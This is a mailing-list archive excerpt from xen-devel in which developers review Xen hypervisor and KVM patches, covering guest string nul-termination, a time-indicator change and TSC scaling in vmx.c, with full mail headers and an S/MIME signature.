X-Bm-Transport-Timestamp: 1782979817114
X-purgate-ID: tlsNG-42698a/1782979826-A653B220-F8C34B4A/0/0
X-purgate-type: clean
X-purgate-size: 800

---=Part.2f.704031f6a12d6c5e.19f21e0ee99.35cf2f2dae56525b=-
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

On Wed, Jul 01, 2026 at 04:48:33PM +0200, Jan Beulich wrote:
> =2E=2E=2E rather than papering over guest flaws: Strings passed ought to=
 be nul-
> terminated (yet sadly libxc hasn't been doing so thus far)=2E This way w=
e
> also avoid order-1 allocations, seeing that all present callers pass
> PAGE_SIZE for max_size=2E
>=20
> Signed-off-by: Jan Beulich <jbeulich@suse=2Ecom>

Reviewed-by: Anthony PERARD <anthony=2Eperard@vates=2Etech>

Thanks,


-- 
Anthony Perard | Vates XCP-ng Developer

XCP-ng & Xen Orchestra - Vate=
s solutions

web: https://vates=2Etech
---=Part.2f.704031f6a12d6c5e.19f21e0ee99.35cf2f2dae56525b=---


From xen-devel-bounces@lists.xenproject.org Thu Jul 02 08:27:36 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 02 Jul 2026 08:27:36 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1351390.1608567 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfClb-0001Xa-Gx; Thu, 02 Jul 2026 08:27:27 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1351390.1608567; Thu, 02 Jul 2026 08:27:27 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfClb-0001XT-CN; Thu, 02 Jul 2026 08:27:27 +0000
Received: by outflank-mailman (input) for mailman id 1351390;
 Thu, 02 Jul 2026 08:27:26 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wfClZ-0001XN-S7
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 08:27:25 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfClY-004xj1-C6
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 10:27:24 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a4620e0-5cb7-0a2a0a5109dd-0a2a4503a562-36
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 10:27:24 +0200
Received: from [209.85.221.48] (helo=mail-wr1-f48.google.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a4620ec-ec1a-0a2a45030019-d155dd30d83a-3
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 10:27:24 +0200
Received: by mail-wr1-f48.google.com with SMTP id
 ffacd0b85a97d-472055b0efaso1044809f8f.2
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 01:27:24 -0700 (PDT)
Received: from [192.168.1.6] (user-109-243-148-111.play-internet.pl.
 [109.243.148.111]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-477de3dcf59sm7162237f8f.34.2026.07.02.01.27.22
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 02 Jul 2026 01:27:23 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:In-Reply-To:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1782980844; x=1783585644; darn=lists.xenproject.org;
        h=content-transfer-encoding:in-reply-to:from:content-language
         :references:cc:to:subject:user-agent:mime-version:date:message-id
         :from:to:cc:subject:date:message-id:reply-to;
        bh=zKHg2RP9zwp0jh1QYT0fbAawl8DbSSyIAAMqCg9UC9Y=;
        b=AA+ky+ORzK6kJMFgse6LkMcsT3bNmfzp0C4pIdXU17/CNRO/TwLGoOc+Ud1F6PWQP9
         7qPfrlM+IwrPw5p5yvKPuJWMzvg02VzxX9Sx9R1zSb5rp5d1HxL4H+cmbhIU7yPpecgW
         10cfDnor3Gj4lMVq27cZuc512oMLlmy090T9rNfPcsg1toYj+XTh7L/0gXBgsYqy1QpH
         S6yT6MogDF7w2yQ6sXtpz7xrSNSVp24Q/URp4E7UNeXwGAiy8YfD2a6hx9O4N0R2venb
         a/v/hsO+Xotc/ReOidSXdYwHWzYC14SaZltt7OOGnz3BBDAEC3BAIi1sEZ04IaHtcupM
         Ws5Q==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782980844; x=1783585644;
        h=content-transfer-encoding:in-reply-to:from:content-language
         :references:cc:to:subject:user-agent:mime-version:date:message-id
         :x-gm-gg:x-gm-message-state:from:to:cc:subject:date:message-id
         :reply-to;
        bh=zKHg2RP9zwp0jh1QYT0fbAawl8DbSSyIAAMqCg9UC9Y=;
        b=Zd2mVp3x8879g72SpNSMwQTr1OqpmsgQdJtK7Ods26ZiUvra+kAPxUTvpkVT9NyiWQ
         lj0L4shWSvW8G0JAOQ2DPq1PwkCsGSVkKjsSBAMMUjU2Y9XkkuF2mmdaGnRWPlI0U2RX
         4oC4nyzQ8NMJVAln45QOdB8n7gs2MafM0N2b7J2SGclEqc8r5m/1CCJzC1h+SNLK1qeD
         0Ht2QQ32lQ8C0q0yq9tNRDngVo4pXK+u2kk3+wBEg9Q4klH914HyJZTqeARtreLeJIgV
         t1mqiPm+V4ouxdx1gT+BQlUXCHzEgPErvvVBF6ERct7QI6tV1R7ZFz4q4DmJ6NLHa+PY
         +seQ==
X-Forwarded-Encrypted: i=1; AHgh+RpSa2XWwRCaeim9kYng70fuCBskVdmrqDqCYo0asKrUG37cha0MLyDLAxz7PQ2NdndZc8S4B1p23eI=@lists.xenproject.org
X-Gm-Message-State: AOJu0YxYHQq2Z37Z06Diukomu0qL3FVIs0usAJB2uOROETqsFFQXrzd6
	K8XTLpkiG1ACl3Sgf5OXf460KSFEp8iZzuquvPjM+fcGvtEvSkrK+4Yweho78g==
X-Gm-Gg: AfdE7clS5VXq+BAGVwzuGkwAAdNBLSeaYNRGBOjiF1egqmKdlsLm026nKL15oxohQYa
	DkmAhX2b3NdDT/cOrzayxAtxEjWk4p8IWWC5PxNha5pgjX8YHl5qsH8136I0cYi16sOiRheLhxB
	FLtC2h/X1Ukbb/HA5poVEmeO2/FGyde5vV+BqzFjo4NBeWQZE2HVGU66AQABAGAdf5f1FL1gdVG
	ywprNaKPcrFPJXEs5Xs+V5OAUfr+rIdbWaX5pgBu2xU7yrAOP07woI8jJp+ySUF140PzzIBCBsS
	AsC4msgTYSnQRfK1VvYPKDGFrEw1UM2CRmeLOZv95zuoRUuKLQpCpAdDEyzgrs9SksHoamwmvHi
	jKL/VEAIolHJvpqEV204aOAV5a/kUgQtmbIP8qWXa9suWysepw/tZXdcpBry3fY3GGYCAcxadir
	jyCDSwmmIQp6zDX42G1lAL0MObl3kvgXX1X7xlOkgbT+Ivdpwu58hTVpNQwFi+0gDg2MM=
X-Received: by 2002:a5d:5d82:0:b0:473:fe94:9bf1 with SMTP id ffacd0b85a97d-47757f4c487mr8036896f8f.26.1782980843477;
        Thu, 02 Jul 2026 01:27:23 -0700 (PDT)
Message-ID: <16226695-aaf9-47b7-8726-7986837c8a1e@gmail.com>
Date: Thu, 2 Jul 2026 10:27:22 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v4 1/3] time: add "NOW() good" indicator
To: Jan Beulich <jbeulich@suse.com>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>, Julien Grall <julien@xen.org>,
 Stefano Stabellini <sstabellini@kernel.org>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, =?UTF-8?Q?Roger_Pau_Monn=C3=A9?=
 <roger.pau@citrix.com>, Teddy Astie <teddy.astie@vates.tech>,
 Bertrand Marquis <bertrand.marquis@arm.com>,
 Volodymyr Babchuk <volodymyr_babchuk@epam.com>
References: <f5040939-b166-4050-9a27-117b772547d4@suse.com>
 <b7513795-9e4b-4358-9d46-6c7036d64b81@suse.com>
Content-Language: en-US
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
In-Reply-To: <b7513795-9e4b-4358-9d46-6c7036d64b81@suse.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-33051d/1782980844-B71295D1-EB1BAB7C/10/73395122804
X-purgate-type: spam
X-purgate-size: 392



On 6/30/26 4:06 PM, Jan Beulich wrote:
> printk_start_of_line() checks for a value of 0 right now. In order to be
> able to have NOW() return at least monotonically increasing values, that
> needs replacing by an explicit indicator.
> 
> Signed-off-by: Jan Beulich <jbeulich@suse.com>

LGTM:
  Reviewed-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>

Thanks.

~ Oleksii



From xen-devel-bounces@lists.xenproject.org Thu Jul 02 08:30:13 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 02 Jul 2026 08:30:13 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1351398.1608575 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfCoE-0003Np-TQ; Thu, 02 Jul 2026 08:30:10 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1351398.1608575; Thu, 02 Jul 2026 08:30:10 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfCoE-0003Ni-Pu; Thu, 02 Jul 2026 08:30:10 +0000
Received: by outflank-mailman (input) for mailman id 1351398;
 Thu, 02 Jul 2026 08:30:09 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wfCoD-0003Nc-Ec
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 08:30:09 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfCoC-004z4r-LQ
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 10:30:08 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a46218f-5cb7-0a2a0a5109dd-0a2a45068e4a-12
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 10:30:08 +0200
Received: from [209.85.128.43] (helo=mail-wm1-f43.google.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a462190-08de-0a2a45060019-d155802bd557-3
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 10:30:08 +0200
Received: by mail-wm1-f43.google.com with SMTP id
 5b1f17b1804b1-490cf322ed0so10148815e9.1
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 01:30:08 -0700 (PDT)
Received: from [192.168.1.6] (user-109-243-148-111.play-internet.pl.
 [109.243.148.111]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-477ddf0f27bsm6635969f8f.30.2026.07.02.01.30.07
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 02 Jul 2026 01:30:07 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:In-Reply-To:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1782981008; x=1783585808; darn=lists.xenproject.org;
        h=content-transfer-encoding:in-reply-to:from:content-language
         :references:cc:to:subject:user-agent:mime-version:date:message-id
         :from:to:cc:subject:date:message-id:reply-to;
        bh=zsk+mA5ccbSsLd2AnIRidezsIDLf8OHFe+UNICemn+8=;
        b=spjkFmI/R2WN3KlCYU1Kt0+/hSxpAZy2Li90UUfmqYCCJOT6uSCPwLdwmFQ7h5MEI7
         NMepQQXud58RfstJovK4I0ON0n8u4/qMm5CzYoE3hL9QQFATV0jUaW2SDEVRjf9zcnV1
         SotkskTBl+39pAI53cacQ3FLk6j2JUDQ1VQh3Kr17m9hTgVx7n8ZZXkmES6TzyHRuiQU
         LkKnfpu0yPi6b7YRChRe4YKytadxHJA8qo6hT39TPx9F4h030RgRUn1+wLMKy8r1WqAi
         5zYqPCcNojqxaFT8pDRu4TTLlmGfW6ff25cPas7EbfZ9V29tJvlhXNPzD1yYKhVCM5to
         Dvkw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782981008; x=1783585808;
        h=content-transfer-encoding:in-reply-to:from:content-language
         :references:cc:to:subject:user-agent:mime-version:date:message-id
         :x-gm-gg:x-gm-message-state:from:to:cc:subject:date:message-id
         :reply-to;
        bh=zsk+mA5ccbSsLd2AnIRidezsIDLf8OHFe+UNICemn+8=;
        b=MTHkNQgewKUppEmSKVm2h6XtL3SUPdj80NlQiX7qGNZDNb7PAlOr8TkZ3+C9CIQPT6
         FekYo0EhIBABUDsEZ+msHzxMTH4uflK7L9yxgCgzyq0+9dG3ryBz2I+yfV7L9R3hHfzr
         YHqpleLYhG/3jSJz47JQRNcoXVei/Kc2RxgZ9+V9IimET6UaZc12z7+5fvvOlnIfFYrN
         O9we15PtMuIcrplgxxzda0zbtoRc3nKystTKVUAxJUO/pv3T3fwUixTHOWhXmCzDEKhN
         ltzF9uY/45zkTPRNm2UKgXO2p6RlGzRZ6cKNe9Z2NUgfGTAoljs3jUrIs6YYmzN+Exn3
         jm1w==
X-Forwarded-Encrypted: i=1; AFNElJ9WKp/fimabQzdLRcMR8p/tF2fzyMaxrblvP3TUADzV0d8ELfFo/QFu5Q+uPYzxGaO2RumKdKSDalQ=@lists.xenproject.org
X-Gm-Message-State: AOJu0YzvgOFoaZB0oQjN/iCDrxPichxV4uu3J0104b48/YcvX0zvnBhd
	+l4nlezUIVSjkxnFHITCEnOKHWTqLJtR5tpZByCZtBrPUjuoZm6Ehqnw
X-Gm-Gg: AfdE7cmdRSRijoIn9tYBoKPzhgM4Z1Ii73P66JPYtHz1ZFGL8p1Qh3Agromq44r/wat
	yhPvnhs8t+BopoOb20RvMxOQCTe1nIPsjgacIMIgJgtGjsFh2/ETHNMBNDgaezMRU4VASbRFu3N
	bBpg5MUJxqzaDxSZ+o58KPl7ah0dt5nnpTOqA3L6qRK+OgUzSCQvvfLfDPcpXfkvKYIMog1bEOI
	/+SxXNXSPJS59GV+mLE1GWIqmUaTngIOrtSGZSz5t8yRXcvhkX2YbYdzpcwBuR+5+XSgqVS/oc9
	510SVYvoZVeESGnBZGW+1Ij36JlctvM0GWJ4h8hRCTD3Yev2m67SXt5OQlPpKRqqx0TKu540PRP
	ogdJyG4kIBgrUA7z5pZIPB/F4Xc7T2l5kxhtCnwsHZ9UPXbrZuFlRhFt+pw6Nb03uOQdPgC/IRJ
	ChAdnvnf9w1ivOggLXAMUVt0UFD5CSxBLDVqfpW91HS1CjZvcD63VokRmocZyxQtsGY2w=
X-Received: by 2002:a05:600c:8590:b0:490:b2c9:e284 with SMTP id 5b1f17b1804b1-493c2ba2397mr59581315e9.30.1782981007928;
        Thu, 02 Jul 2026 01:30:07 -0700 (PDT)
Message-ID: <1562ea63-7f17-4748-9380-94712dd84d1a@gmail.com>
Date: Thu, 2 Jul 2026 10:30:06 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH 4/4] lib: make safe_copy_string_from_guest() validate
 input
To: Jan Beulich <jbeulich@suse.com>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>, Julien Grall <julien@xen.org>,
 Stefano Stabellini <sstabellini@kernel.org>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, =?UTF-8?Q?Roger_Pau_Monn=C3=A9?=
 <roger.pau@citrix.com>, Daniel Smith <dpsmith@apertussolutions.com>
References: <5d242cad-d907-4321-8ac1-363c0f9b623d@suse.com>
 <7e492b98-26d5-4d90-a703-ee25beae7e23@suse.com>
Content-Language: en-US
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
In-Reply-To: <7e492b98-26d5-4d90-a703-ee25beae7e23@suse.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-16d1c6/1782981008-F8FEA68D-99E61713/10/73395122804
X-purgate-type: spam
X-purgate-size: 684



On 6/16/26 11:03 AM, Jan Beulich wrote:
> --- a/CHANGELOG.md
> +++ b/CHANGELOG.md
> @@ -11,6 +11,8 @@ The format is based on [Keep a Changelog
>      to obtain an automatically allocated domid.  The prior sentinel values (0
>      since the start of Xen, and DOMID_INVALID since Xen 4.21) now no longer
>      represent a wildcard input.
> + - XEN_DOMCTL_DEV_DT's, FLASK_[GS]ETBOOL's, and FLASK_DEVICETREE_LABEL's input
> +   string sizes need to include the nul terminator.

The patch isn't tagged as "for 4.22", but the change in `CHANGELOG.md` 
makes it look like it's intended for the 4.22 release.

Do you expect this patch to be included in 4.22?

~ Oleksii


From xen-devel-bounces@lists.xenproject.org Thu Jul 02 08:59:01 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 02 Jul 2026 08:59:01 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1351419.1608584 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfDG1-0007WO-Vb; Thu, 02 Jul 2026 08:58:53 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1351419.1608584; Thu, 02 Jul 2026 08:58:53 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfDG1-0007WH-SC; Thu, 02 Jul 2026 08:58:53 +0000
Received: by outflank-mailman (input) for mailman id 1351419;
 Thu, 02 Jul 2026 08:58:52 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <BATV+f8de22289c464b8ad8ee+8348+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 1wfDG0-0007W5-Md
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 08:58:52 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfDG0-007AzE-3H; Thu, 02 Jul 2026 10:58:52 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <BATV+f8de22289c464b8ad8ee+8348+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a46283c-5cb7-0a2a0a5109dd-0a2a4507c7b2-42
 for <multiple-recipients>; Thu, 02 Jul 2026 10:58:51 +0200
Received: from [90.155.50.34] (helo=casper.infradead.org)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <BATV+f8de22289c464b8ad8ee+8348+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a46284a-9c8e-0a2a45070019-5a9b3222e230-3
 for <multiple-recipients>; Thu, 02 Jul 2026 10:58:50 +0200
Received: from [2001:8b0:10b:5:5473:9ff4:cd52:8d75]
 (helo=u09cd745991455d.ant.amazon.com)
 by casper.infradead.org with esmtpsa (Exim 4.99.1 #2 (Red Hat Linux))
 id 1wfDFl-00000008EEz-0wPh; Thu, 02 Jul 2026 08:58:37 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=casper.20170209 header.d=infradead.org header.i="@infradead.org" header.h="MIME-Version:Content-Type:References:In-Reply-To:Date:Cc:To:From:Subject:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=casper.20170209; h=MIME-Version:Content-Type:References:
	In-Reply-To:Date:Cc:To:From:Subject:Message-ID:Sender:Reply-To:
	Content-Transfer-Encoding:Content-ID:Content-Description;
	bh=XpVLbiwv7CDhPaB21Fa7g5kQELhviQ2VmLDVN0CcLRU=; b=kfpP2bbdJhTWOL+Az4MMKsfd1l
	5EZ8i35tCGoVK2w67azj9VHb7EleLcCrZphW5BoSq5nOZ5GwjFBH7VH+VC86om9UCJlhmLT8qn/4U
	Vljt0coUjjo+rcNWLBEEifJk8LBtxKhKOVUQObUUZVFr+5X+wsz9b1I1rmJgs9k+ahgUp+muT3mIS
	ucAvDsw2EvAUGshY/7ij85GEvL+V12lOenqe04ZZoJPLRZj9v9zrl4hyrONjES3tPOCnbR/AThg5Q
	+R4X5j1OgAw3+OIg+qb79/R1sfOhtLstMKQqUuAP1bstNoIs4/EohMbnBNr8kcl+B/P2GcAVmndEF
	1r74xXmw==;
Message-ID: <ef7f65814b001912321912ae669b1f14762000c6.camel@infradead.org>
Subject: Re: [PATCH v5 06/34] KVM: x86: Explicitly disable TSC scaling
 without CONSTANT_TSC
From: David Woodhouse <dwmw2@infradead.org>
To: Sean Christopherson <seanjc@google.com>
Cc: Paolo Bonzini <pbonzini@redhat.com>, Jonathan Corbet <corbet@lwn.net>, 
 Shuah Khan <skhan@linuxfoundation.org>, Thomas Gleixner <tglx@kernel.org>,
 Ingo Molnar <mingo@redhat.com>,  Borislav Petkov	 <bp@alien8.de>, Dave
 Hansen <dave.hansen@linux.intel.com>, x86@kernel.org, "H. Peter Anvin"	
 <hpa@zytor.com>, Vitaly Kuznetsov <vkuznets@redhat.com>, Juergen Gross	
 <jgross@suse.com>, Boris Ostrovsky <boris.ostrovsky@oracle.com>, Paul
 Durrant	 <paul@xen.org>, Jonathan Cameron <jic23@kernel.org>, Sascha
 Bischoff	 <Sascha.Bischoff@arm.com>, Marc Zyngier <maz@kernel.org>, Joey
 Gouly	 <joey.gouly@arm.com>, Jack Allister <jalliste@amazon.com>, Dongli
 Zhang	 <dongli.zhang@oracle.com>, joe.jin@oracle.com, kvm@vger.kernel.org, 
	linux-doc@vger.kernel.org, linux-kernel@vger.kernel.org, 
	xen-devel@lists.xenproject.org, linux-kselftest@vger.kernel.org
Date: Thu, 02 Jul 2026 09:58:36 +0100
In-Reply-To: <akWI72WrPKy-PBqo@google.com>
References: <20260608145455.89187-1-dwmw2@infradead.org>
	 <20260608145455.89187-7-dwmw2@infradead.org> <akWI72WrPKy-PBqo@google.com>
Content-Type: multipart/signed; micalg="sha-256"; protocol="application/pkcs7-signature";
	boundary="=-9bZhCjMS+rLrf3GCWE0W"
User-Agent: Evolution 3.60.3-0ubuntu1~ppa9~24.04 
MIME-Version: 1.0
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by casper.infradead.org. See http://www.infradead.org/rpr.html
X-purgate-ID: tlsNG-ef75cf/1782982731-7D52025E-D7625B8D/0/0
X-purgate-type: clean
X-purgate-size: 8805


--=-9bZhCjMS+rLrf3GCWE0W
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable

On Wed, 2026-07-01 at 14:38 -0700, Sean Christopherson wrote:
>=20
> > =C2=A0=C2=A0			pr_info("TSC scaling supported\n");
> > diff --git a/arch/x86/kvm/vmx/vmx.c b/arch/x86/kvm/vmx/vmx.c
> > index a29896a9ef14..ed207cc7692d 100644
> > --- a/arch/x86/kvm/vmx/vmx.c
> > +++ b/arch/x86/kvm/vmx/vmx.c
> > @@ -8672,7 +8672,7 @@ __init int vmx_hardware_setup(void)
> > =C2=A0=C2=A0	if (!enable_apicv || !cpu_has_vmx_ipiv())
> > =C2=A0=C2=A0		enable_ipiv =3D false;
> > =C2=A0=20
> > -	if (cpu_has_vmx_tsc_scaling())
> > +	if (cpu_has_vmx_tsc_scaling() && boot_cpu_has(X86_FEATURE_CONSTANT_TS=
C))
>=20
> We should clear SECONDARY_EXEC_TSC_SCALING in setup_vmcs_config().=C2=A0 =
Failure to
> clear the vmcs_config bit will advertise the feature to L2 and allow it t=
o be
> enabled in vmcs12, but KVM will ultimately not honor the scaling in vmcs0=
2:
>=20
> 	if (kvm_caps.has_tsc_control)
> 		vmcs_write64(TSC_MULTIPLIER, vcpu->arch.tsc_scaling_ratio);
>=20
> This series kinda sorta gets there with "KVM: x86: Remove pvclock_gtod_da=
ta and
> private timekeeping code", but that change looks misplaced?=C2=A0 And I t=
hink clearing
> the bit this late will lead to false failures in vmx_check_processor_comp=
at() due
> to the golden config clearing the bit, but the local config having it set=
.

Ack. Folded into v6:

https://git.infradead.org/?p=3Dusers/dwmw2/linux.git;a=3Dshortlog;h=3Drefs/=
heads/kvmclock6
https://git.infradead.org/?p=3Dusers/dwmw2/linux.git;a=3Dcommitdiff;h=3D144=
587d50edf

--=-9bZhCjMS+rLrf3GCWE0W
Content-Type: application/pkcs7-signature; name="smime.p7s"
Content-Disposition: attachment; filename="smime.p7s"
Content-Transfer-Encoding: base64

MIAGCSqGSIb3DQEHAqCAMIACAQExDzANBglghkgBZQMEAgEFADCABgkqhkiG9w0BBwEAAKCCD9Aw
ggSOMIIDdqADAgECAhAOmiw0ECVD4cWj5DqVrT9PMA0GCSqGSIb3DQEBCwUAMGUxCzAJBgNVBAYT
AlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5jb20xJDAi
BgNVBAMTG0RpZ2lDZXJ0IEFzc3VyZWQgSUQgUm9vdCBDQTAeFw0yNDAxMzAwMDAwMDBaFw0zMTEx
MDkyMzU5NTlaMEExCzAJBgNVBAYTAkFVMRAwDgYDVQQKEwdWZXJva2V5MSAwHgYDVQQDExdWZXJv
a2V5IFNlY3VyZSBFbWFpbCBHMjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMjvgLKj
jfhCFqxYyRiW8g3cNFAvltDbK5AzcOaR7yVzVGadr4YcCVxjKrEJOgi7WEOH8rUgCNB5cT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en-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 02 Jul 2026 09:25:48 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1351444.1608608 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfDfp-0004Zj-6O; Thu, 02 Jul 2026 09:25:33 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1351444.1608608; Thu, 02 Jul 2026 09:25:33 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfDfp-0004Zc-3e; Thu, 02 Jul 2026 09:25:33 +0000
Received: by outflank-mailman (input) for mailman id 1351444;
